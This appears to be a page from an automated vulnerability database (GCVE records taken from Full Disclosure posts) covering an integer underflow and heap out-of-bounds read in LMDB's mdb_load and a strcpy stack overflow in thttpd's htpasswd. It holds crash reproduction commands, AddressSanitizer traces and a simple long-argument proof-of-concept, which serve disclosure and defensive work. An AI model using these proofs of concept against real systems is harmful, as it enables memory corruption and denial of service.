"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/16"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/16"
],
"discovery": "EXTERNAL"
},
"title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2021-27427",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0316",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
"automated": true,
"contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-10T05:26:58Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0316"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:42:56Z",
"dateUpdated": "2026-09-09T13:42:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0316"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0318
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Summary
This integer underflow vulnerability enables heap metadata corruption and
information disclosure through carefully crafted LMDB dump files.
*Impact:*
- *Denial of Service*: Immediate crash (confirmed)
- *Information Disclosure*: Heap metadata leak via OOB read
Root Cause:The readline() function fails to validate that the input line
length is non-zero before performing decrement operations, causing integer
underflow. An attacker can craft a malicious LMDB dump file containing
empty lines that trigger the vulnerability when processed by mdb_load:
*Output:*
./mdb_load -T /tmp/lmdb_asan <
/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13
mdb_load.c:214:9: runtime error: addition of unsigned offset to
0x521000000100 overflowed to 0x5210000000ff
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "MongoDB",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "This integer underflow vulnerability enables heap metadata corruption and\ninformation disclosure through carefully crafted LMDB dump files.\n\n*Impact:*\n\n - *Denial of Service*: Immediate crash (confirmed)\n - *Information Disclosure*: Heap metadata leak via OOB read\n\nRoot Cause:The readline() function fails to validate that the input line\nlength is non-zero before performing decrement operations, causing integer\nunderflow. An attacker can craft a malicious LMDB dump file containing\nempty lines that trigger the vulnerability when processed by mdb_load:\n*Output:*\n\n./mdb_load -T /tmp/lmdb_asan \u003c\n/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:42:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/8"
],
"discovery": "EXTERNAL"
},
"title": "MongoDB v8.3.0 Integer Underflow in LMDB mdb_load",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0318",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/8",
"automated": true,
"contentSha256": "f6ee6532880b5db59db360c75f13190709bcbbdb9839409a725973fc38fef448",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-01-01T04:17:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:42:56Z",
"dateUpdated": "2026-09-09T13:42:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0318"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2025-0005
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load
Summary
A heap buffer underflow vulnerability exists in the readline() function of
OpenLDAP's Lightning Memory-Mapped Database (LMDB) mdb_load utility. The
vulnerability is triggered through malformed input data and results in an
out-of-bounds read one byte before an allocated heap buffer. This can lead
to information disclosure through heap memory leakage.
*Root Cause:*
The vulnerability occurs in the readline() function at line 214 of
mdb_load.c. The ASAN output reveals two critical issues:
1. *Integer Underflow:* An unsigned offset addition to 0x521000000100
results in underflow to 0x5210000000ff, indicating a pointer decrement
operation that wraps below the buffer start
2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at
address 0x5210000000ff, which is located 1 byte before the 4096-byte heap
region [0x521000000100, 0x521000001100)
*Impact:*
The vulnerability allows a local attacker to trigger a heap out-of-bounds
read in mdb_load, resulting in reliable denial of service and limited
information disclosure of adjacent heap memory. While no write primitive is
present, the disclosure may expose heap metadata and contribute to exploit
mitigation bypass in multi-stage attacks.
*Evidence:*
# Execute with crash input
./mdb_load -T /tmp/lmdb_asan < [crash_input_file]
*Output:*
mdb_load.c:214:9: runtime error: addition of unsigned offset to
0x521000000100 overflowed to 0x5210000000ff
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9
=================================================================
==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28
READ of size 1 at 0x5210000000ff thread T0
#0 0xaaaacb6f5bf0 in readline
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9
#1 0xaaaacb6ed614 in main
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9
#2 0xffffb4662598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3
#4 0xaaaacb60adec in _start
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
0x5210000000ff is located 1 bytes before 4096-byte region
[0x521000000100,0x521000001100)
allocated by thread T0 here:
#0 0xaaaacb6ad4e4 in malloc
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
#1 0xaaaacb6ed068 in main
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17
#2 0xffffb4662598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3
#4 0xaaaacb60adec in _start
(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:
54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/5 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "MongoDB",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "A heap buffer underflow vulnerability exists in the readline() function of\nOpenLDAP\u0027s Lightning Memory-Mapped Database (LMDB) mdb_load utility. The\nvulnerability is triggered through malformed input data and results in an\nout-of-bounds read one byte before an allocated heap buffer. This can lead\nto information disclosure through heap memory leakage.\n\n*Root Cause:*\nThe vulnerability occurs in the readline() function at line 214 of\nmdb_load.c. The ASAN output reveals two critical issues:\n1. *Integer Underflow:* An unsigned offset addition to 0x521000000100\nresults in underflow to 0x5210000000ff, indicating a pointer decrement\noperation that wraps below the buffer start\n2. *Out-of-bounds Read: *The subsequent memory access reads 1 byte at\naddress 0x5210000000ff, which is located 1 byte before the 4096-byte heap\nregion [0x521000000100, 0x521000001100)\n\n*Impact:*\nThe vulnerability allows a local attacker to trigger a heap out-of-bounds\nread in mdb_load, resulting in reliable denial of service and limited\ninformation disclosure of adjacent heap memory. While no write primitive is\npresent, the disclosure may expose heap metadata and contribute to exploit\nmitigation bypass in multi-stage attacks.\n\n*Evidence:*\n# Execute with crash input\n./mdb_load -T /tmp/lmdb_asan \u003c [crash_input_file]\n\n*Output:*\nmdb_load.c:214:9: runtime error: addition of unsigned offset to\n0x521000000100 overflowed to 0x5210000000ff\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9\n=================================================================\n==1215390==ERROR: AddressSanitizer: heap-buffer-overflow on address\n0x5210000000ff at pc 0xaaaacb6f5bf4 bp 0xffffc2d17d30 sp 0xffffc2d17d28\nREAD of size 1 at 0x5210000000ff thread T0\n #0 0xaaaacb6f5bf0 in readline\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9\n #1 0xaaaacb6ed614 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:429:9\n #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\n0x5210000000ff is located 1 bytes before 4096-byte region\n[0x521000000100,0x521000001100)\nallocated by thread T0 here:\n #0 0xaaaacb6ad4e4 in malloc\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0x16d4e4) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n #1 0xaaaacb6ed068 in main\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:354:17\n #2 0xffffb4662598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #3 0xffffb4662678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #4 0xaaaacb60adec in _start\n(/root/wiredtiger/third_party/openldap_liblmdb/mdb_load+0xcadec) (BuildId:\n54fcbfcdc4f5509b87b342e8f33cab2ab3e6d444)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow\n/root/wiredtiger/third_party/openldap_liblmdb/mdb_load.c:214:9 in readline\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:42:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/5"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/5"
],
"discovery": "EXTERNAL"
},
"title": "MongoDB v8.3.0 Heap Buffer Underflow in OpenLDAP LMDB mdb_load",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2025-0005",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/5",
"automated": true,
"contentSha256": "ed64e6da863b4b30592a5d0c84a0f90b3685238143542327775f7db463fe0466",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/5",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2025-12-30T03:51:57Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:42:56Z",
"dateUpdated": "2026-09-09T13:42:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2025-0005"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0315
Vulnerability from gna-1988 – Published: 2026-09-09 13:10 – Updated: 2026-09-09 13:10
VLAI
EPSS
VEX
Title
thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption
Summary
*Description:*
A stack-based buffer overflow vulnerability exists in the htpasswd utility
bundled with thttpd. The vulnerability occurs due to unsafe copying of a
user-supplied command-line argument into a fixed-size stack buffer without
proper bounds checking.Specifically, the program copies the username
argument (argv[2]) into a local stack buffer using strcpy(). If an attacker
supplies an overly long username, this results in a stack buffer overflow,
leading to memory corruption and a process crash. Under certain conditions,
this may be exploitable for arbitrary code execution.
*Affected Component:*
- File: extras/htpasswd.c
- Function: main
- Vulnerable line: strcpy(user, argv[2]);
*Affected Versions:*
- thttpd prior to latest release (all known versions shipping
extras/htpasswd.c with this logic)
*Impact: *
- Denial of Service
- potential arbitrary code execution
*Vulnerability Details:*
The vulnerable buffer is defined as:
#define MAX_STRING_LEN 256
char user[MAX_STRING_LEN];
*Proof of Concept (PoC):*
*Output/Payload:*
# ./htpasswd -c passwdfile testuser
Adding password for testuser.
New password:
Re-type new password:
=================================================================
==173875==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 5 byte(s) in 1 object(s) allocated from:
#0 0xffffaa4fa578 in malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32
#2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122
#3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170
#4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
#5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360
#6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)
SUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).
root@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - << 'EOF'
print("A" * 1000)
EOF
)
=================================================================
==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0
WRITE of size 1001 at 0xfbffa1000120 thread T0
#0 0xffffa3214fec in strcpy
../../../../src/libsanitizer/asan/asan_interceptors.cpp:568
#1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187
#2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl
/libc_start_call_main.h:58
#3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360
#4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)
(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)
Address 0xfbffa1000120 is located in stack of thread T0 at offset 288 in
frame
#0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "thttpd",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nA stack-based buffer overflow vulnerability exists in the htpasswd utility\nbundled with thttpd. The vulnerability occurs due to unsafe copying of a\nuser-supplied command-line argument into a fixed-size stack buffer without\nproper bounds checking.Specifically, the program copies the username\nargument (argv[2]) into a local stack buffer using strcpy(). If an attacker\nsupplies an overly long username, this results in a stack buffer overflow,\nleading to memory corruption and a process crash. Under certain conditions,\nthis may be exploitable for arbitrary code execution.\n\n*Affected Component:*\n\n - File: extras/htpasswd.c\n - Function: main\n - Vulnerable line: strcpy(user, argv[2]);\n\n\n*Affected Versions:*\n\n - thttpd prior to latest release (all known versions shipping\n extras/htpasswd.c with this logic)\n\n\n*Impact: *\n\n - Denial of Service\n - potential arbitrary code execution\n\n\n*Vulnerability Details:*\nThe vulnerable buffer is defined as:\n#define MAX_STRING_LEN 256\nchar user[MAX_STRING_LEN];\n\n*Proof of Concept (PoC):*\n*Output/Payload:*\n# ./htpasswd -c passwdfile testuser\nAdding password for testuser.\nNew password:\nRe-type new password:\n\n=================================================================\n==173875==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 5 byte(s) in 1 object(s) allocated from:\n #0 0xffffaa4fa578 in malloc\n../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67\n #1 0xaaaade791c80 in strd /root/thttpd/extras/htpasswd.c:32\n #2 0xaaaade792794 in add_password /root/thttpd/extras/htpasswd.c:122\n #3 0xaaaade792ce4 in main /root/thttpd/extras/htpasswd.c:170\n #4 0xffffaa1d2598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n #5 0xffffaa1d2678 in __libc_start_main_impl ../csu/libc-start.c:360\n #6 0xaaaade791b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nSUMMARY: AddressSanitizer: 5 byte(s) leaked in 1 allocation(s).\nroot@ubuntu:~/thttpd/extras# ./htpasswd passwdfile $(python3 - \u003c\u003c \u0027EOF\u0027\nprint(\"A\" * 1000)\nEOF\n)\n=================================================================\n==173879==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbffa1000120 at pc 0xffffa3214ff0 bp 0xfffff4000e10 sp 0xfffff40005f0\nWRITE of size 1001 at 0xfbffa1000120 thread T0\n #0 0xffffa3214fec in strcpy\n../../../../src/libsanitizer/asan/asan_interceptors.cpp:568\n #1 0xaaaad5172ee8 in main /root/thttpd/extras/htpasswd.c:187\n #2 0xffffa2f42598 in __libc_start_call_main ../sysdeps/nptl\n/libc_start_call_main.h:58\n #3 0xffffa2f42678 in __libc_start_main_impl ../csu/libc-start.c:360\n #4 0xaaaad5171b6c in _start (/root/thttpd/extras/htpasswd+0x1b6c)\n(BuildId: 277fa93be8cbdf6cb9a0d89d15da163bf803f5a6)\n\nAddress 0xfbffa1000120 is located in stack of thread T0 at offset 288 in\nframe\n #0 0xaaaad5172a30 in main /root/thttpd/extras/htpasswd.c:149\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:10:29Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/15"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/15"
],
"discovery": "EXTERNAL"
},
"title": "thttpd v2.26 Stack-Based Buffer Overflow in thttpd htpasswd Utility Allows Local Memory Corruption",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0315",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/15",
"automated": true,
"contentSha256": "6a462e368dd5a48691eb4592372e18f5441b4cd8b5961383b7ab1e5f286d49f0",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/15",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:48:25Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-09T13:10:29Z",
"dateUpdated": "2026-09-09T13:10:29Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0315"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}